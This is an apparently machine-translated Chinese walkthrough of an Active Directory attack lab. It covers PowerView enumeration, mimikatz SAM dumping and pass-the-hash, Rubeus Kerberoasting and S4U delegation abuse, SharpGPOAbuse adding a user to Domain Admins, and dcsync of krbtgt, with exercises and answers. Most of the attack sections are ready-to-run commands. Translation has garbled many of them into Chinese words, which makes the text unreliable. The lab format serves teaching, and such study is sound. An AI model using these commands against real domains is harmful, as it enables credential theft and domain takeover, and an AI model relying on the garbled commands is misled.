后置知识

刚入门的小伙伴京东或者淘宝买这本书可以去看看

Windows Server 2012 R2系统配置指南_戴有伟编着

文章是根据https://github.com/cfalta/adse c改编的。

环境搭建

https://github.com/cfalta/adsec/tree/main/lab-setup

  • DC-Windows 2019
  • 用户杰克-Windows 2019
  • SqlServer-Windows 2019

配置域控

新增一个网卡,三个虚拟机使用这个网卡设置指定ip我是直接复制虚拟机,需要更改mac地址和sid还需要更改sid可以使用系统内置的工具sysprep或者另外一个newsid工具https:// newsid.softag.com/download在三台机器上以管理员权限执行以下命令。

  • 关闭防火墙
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

  • 关闭Windows Defender
卸载-WindowsFeature -Name Windows-Defender

下载自动化脚本辅助安装https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts
运行createdomain脚本,自己修改里面的域名称。
这里应该不能一步完成
先执行

安装-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools

重启之后继续执行。重启后执行这个文件功能就是根据json文件去自动添加用户和组等等。

配置域内机

在两台成员机器上使用以下两个域账号注册

约翰·多伊 约翰 P@ssw0rd
李小龙 流血 铁拳真棒!

user1这台用john认证user2机器用blee登录

攻击机器准备

用john登录user1这台机器,当做点,再分配一张网卡,让他出网。
默认工具包下载地址https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools

猎犬安装及配置

谷歌一下

信息收集

导入电源模块

cd C: \a ttacker-tools
cat -raw " .\PowerView.ps1 "  | 交换器

获取当前域的基本信息和域控位置

获取域
获取域控制器

查看有多少电脑和域内用户

获取域计算机
获取域用户

过滤出域管出来

获取域用户|  ? { $_ .memberof -like " *域管理员* " }获取域用户|  ? { $_ .memberof -like " *域管理员* " } |  选择 相同的帐户名

课后习题

参考答案我会选择最后面哦

  1. 域里有多少台计算机以及它们在什么上面运行?
  2. 域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。
  3. 你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。
  4. 找到对应管理员组的成员,这些用户上一次设置的密码是什么时候?
  5. 有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。

NTLM的利用

  • 模仿
  • psexec

需要管理员权限,使用本地管理员用户登录

特权::调试
令牌::提升
lsadump::sam

获得到管理员哈希
7dfa0531d73101ca080c7379a9bff1c7 pth 攻击

sekurlsa::pth /user:Administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab

psexec.exe \\ user2 cmd

课后习题

  1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
  2. 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
  3. 如何解决 PTH 问题,请讲清楚原因。
  4. 是否有可能(可能会)完全不是NTLM?解释你的理由。

Kerberos-烘焙

预习资料网络——AS-REP Roasting
加载插件

cd C: \a ttacker-tools
猫生的。\ PowerView.ps1 | 交换器
猫生的。\I nvoke-Rubeus.ps1 | 交换器

查询SPN,获得服务用户

获取域用户-SPN |  选择 samaccountname、 description、pwdlastset、serviceprincipalname

Rubeus 有一个统计 kerberos 数据的功能

Invoke-Rubeus -Command " kerberoast /stats "

获取目标账户的TGS

Invoke-Rubeus -Command " kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt "

这里的脚本是base64之后通过powershell内存加载

函数 调用-Rubeus([string]$Command)
{
$Message = " base64 " ;$Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String( $Message ))
[Rubeus.Program]::Main( $Command .Split( "  " ))
}

破解TGS

. \j ohn.exe .. \. . \k rb5tgs.txt --wordlist=.. \. . \e xample.dict --rules=passphrase-rule2

课后习题

  1. 描述一下您认为最好的缓解技术,并解释其原因。
  2. 还有一个用户会受到 ASREP 的影响,请找出来。
  3. 解释一下TGS vs. ASREP烘焙

Kerberos(委托)

之前设置的时候改json里面的数据,没有域改了委派用户

Get-DomainUser -TrustedToAuth

视委派的目标

Get-DomainUser -TrustedToAuth |  选择 -ExpandProperty msds-allowedtodelegateto

执行这个攻击的条件就是要知道用户的密码才行
生成hash

Invoke-Rubeus -Command " hash /password:Amsterdam2015 /domain:wing.lab /user:service1 "

Rubeus 允许在新的登录会话中启动 powershell。只有在这个时候我们即将的票证会话中,不会干扰用户john 已经的kerboers 票证。使用s4u 请求一个TGS 模拟域管理用户Bruce(bwillis) )攻击user1。我们请求3个不同服务的票证CIFS将用于SMB访问HOST/ RPCS for WMI

调用-鲁伯-Command “ S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab / PTT ”
调用-鲁伯-Command “ S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser: bwillis /msdsspn:host/user1.wing.lab / PTT “
调用-鲁伯-Command ” S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab / PTT “

查看检查的报告自己前面
我设置错了,委派的目标应该设置成user2,user1 是,但都一样。

ls \\ user1.wing.lab \C $

通过wmi控制user1

Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com

课后习题

  1. 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组
  2. 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用”

ACL攻击

信息收集

猫生的。\S harpound.ps1 | 交换器

Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache

  • CollectionMethod Dc只表示仅从域控收集数据。从opsec的角度来看,这样比较好,因为是流量正常。
  • Stealth单线程启动。速度较慢,但安全。
  • PrettyJson 格式化.json文件。
  • NoSaveCache 不保存保存文件。

启动血犬下载社区版的neo4j https://neo4j.com/download-center/#releases

❯ jdk11
❯ ./neo4j 开始

先把service1标记为已陷陷点这里点击这里用户对域控的组策略有可访问权限,通过组策略利用,攻击DC需要先以service1的身份登录

runas /user:wing.lab \s ervice1 powershell

. \S harpGPOAbuse.exe --AddComputerTask --TaskName " Update " --Author contoso \a dminuser --Command " cmd.exe " --Arguments ' /c net group \"Domain Admins\" john /ADD ' --GPOName “默认域控制器策略” --force

写完以后,等管理员更新组策略才有可能触发。
手工弄弄。提权成功登陆到域控。

课后习题

  • acl 攻击有哪些利用工具?

权限维持

权限维持的东西比较多

  • 金银笔记本
  • 后门
  • 等等等等

一般DC权限就先执行

lsadump::dcsync /user:krbtgt

所有收到用户hash,也可以作为后门。

课后习题

  • 自主学习这些权限维持方法的原理。

参考答案

我做的特别对,有错误请留言。

信息收集

powerview3.0 技巧https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

  1. 域里有多少台计算机以及它们在什么上面运行?
  1. 域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。
  1. 你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。
Get-DomainGroupMember -Identity “域管理员” -Recurse

  1. 找到对应管理员组的成员,这些用户上一次设置的密码是什么时候?
  1. 有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。
获取域用户-SPN | 选择 serviceprincipalname,userprincipalname,pwdlastset,lastlogon

NTLM

猕猴桃命令大全

  1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
privilege::debug - 提升为管理员权限
token::elevate - 奖励奖励,获得其他用户的奖励系统权限

  1. 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
lsadump::dcsync /domain:wing.lab /user:bruce转储所有数据
lsadump::dcsync /domain:wing.lab /all /csv

  1. 如何解决 PTH 问题,请讲清楚原因。
  • 打上打kb2871997禁止并且SID=500的管理员用户
  • 监控日志
  1. 是否有可能(可能会)完全不是NTLM?解释你的理由。
  • 审查收到的 NTLM 调查:允许对所有帐户的审查
  • 仅发送NTLMv2响应。

第四点我不太确定。

Kerberos(烘焙)

  1. 描述一下您认为最好的缓解技术,并解释其原因。
  • 禁止用户开启Do not require Kerberos preauthentication
  • 禁止弱口令
  1. 还有一个用户会受到 ASREP 的影响,请找出来。

Get-DomainUser -PreauthNotRequired -Verbose

  1. 解释一下TGS vs. ASREP烘焙

https://www.4hou.com/posts/YVyM

Kerberos(委托)

  1. 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组:
  • psexec
wmic /node:user1 process call create " cmd.exe /c net localgroup Administrators john /add "

  1. 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用?”

可以攻击域控

访问控制列表

acl 攻击有哪些利用工具?

  • github.com

权限维持

自主学习这些权限维持的原理。

Active-Directory-Security-101 手册相关推荐

  1. Active Directory之AD对象

    1.概述 在这篇文章中,我们将讨论不同的 Active Directory 对象及其基本概念,例如: 为什么域中需要 Active Directory 对象 如何创建它们? 如何枚举 Active D ...

  2. java ldap操作实例_Java Spring Security示例教程中的2种设置LDAP Active Directory身份验证的方法...

    java ldap操作实例 LDAP身份验证是世界上最流行的企业应用程序身份验证机制之一,而Active Directory (Microsoft为Windows提供的LDAP实现)是另一种广泛使用的 ...

  3. Java Spring Security示例教程中的2种设置LDAP Active Directory身份验证的方法

    LDAP身份验证是全球范围内最流行的企业应用程序身份验证机制之一,而Active Directory (Microsoft针对Windows的LDAP实现)是另一种广泛使用的LDAP服务器. 在许多项 ...

  4. HTB打靶(Active Directory 101 Mantis)

    namp扫描 Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-02 03:40 EST Stats: 0:01:28 elapsed; 0 hos ...

  5. HTB打靶(Active Directory 101 Sizzle)

    namp扫描 nmap -A -T4 10.129.4.79 Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-30 02:44 EST Stats ...

  6. Active Directory 101 - LLMNR

    This is the first article of my Active Directory Series. I'll be reading through materials and try t ...

  7. 【逗老师带你学IT】Kiwi Syslog Web Access与Active Directory集成认证

    Kiwi Syslog Server是一款应用于Windows系统的系统日志守护进程,能够接收并记录系统日志,各种设备的SYSLOG消息,内置丰富的日志记录选项,能详细记录各种防火墙日志,并进行筛选分 ...

  8. Active Directory网域

    Active Directory网域 3.1Windows网络的管理方式 3.1.1工作组模式 工作组由一组用网络连接在一起的计算机组成,他们将计算机内的资源共享给用户访问.工作组网络也被称为&quo ...

  9. 详解操作主机角色,Active Directory系列之九

                           Active Directory操作主机详解<?xml:namespace prefix = o ns = "urn:schemas-mi ...

  10. 使用Active Directory的常见问题2

    刚使用Active Directory的常见问题(二).我们使用windows 2003 AD.如何检查我的网络内部的客户端电脑: 1.已经加入域. 2.并且用户也使用域账户登陆了机器. 回答:1.如 ...

最新文章

  1. 通过 ViewState 保存 Self-Tracking Entities
  2. 17原理图查找连接的管脚接口_第三节 主板原理图之标识的作用
  3. python 底层原理_Python 探针实现原理
  4. ACM题目————次小生成树
  5. 把MySQL中的各种锁及其原理都画出来
  6. Linux 命令之 lspci -- 显示当前设备所有PCI总线信息
  7. 不就是SELECT COUNT语句吗,竟然能被面试官虐的体无完肤
  8. 【转载】Java 性能优化之String
  9. JavaScript 中判断一个函数的 this 绑定
  10. SQL Server 索引基础知识(10)----Join 时的三种算法简介
  11. Centos 6.5 服务器下面配置邮件客户端 发送报警邮件
  12. 2011年 7月6日の朝会文章 手塚 治虫
  13. [洛谷P4052][JSOI2007]文本生成器
  14. SpringMVC注解@RequestParam(转)
  15. 计算机组成原理bzc指令,计算机组成原理课程设计-09级.ppt
  16. PPT 最后一页写什么结束语既得体又能瞬间提升格调?
  17. 转:MOSS 中的计算公式
  18. rs485串口转网口设置
  19. 1000m交叉网线最简单做法
  20. flash拼图游戏源码_在Flash中构建视频拼图游戏

热门文章

  1. android中的长按复制
  2. 企业门户网站前后台开发——油画商城
  3. 三、Camunda工作流的表和用途说明(实践是检验真理的唯一标准)
  4. xs.pattern ip
  5. VSCode终端选择虚拟环境
  6. php八进制十六进制,php 实现进制转换(二进制、八进制、十六进制)互相转换实现代码...
  7. 中职计算机英语教学计划,中职英语基础模块1教学计划.docx
  8. SQL 日期和时间处理函数
  9. 如何装虚拟机及在上面安装LINUX操作系统
  10. EPLAN Electric P8安装步骤说明 系统(win7 64位 旗舰版)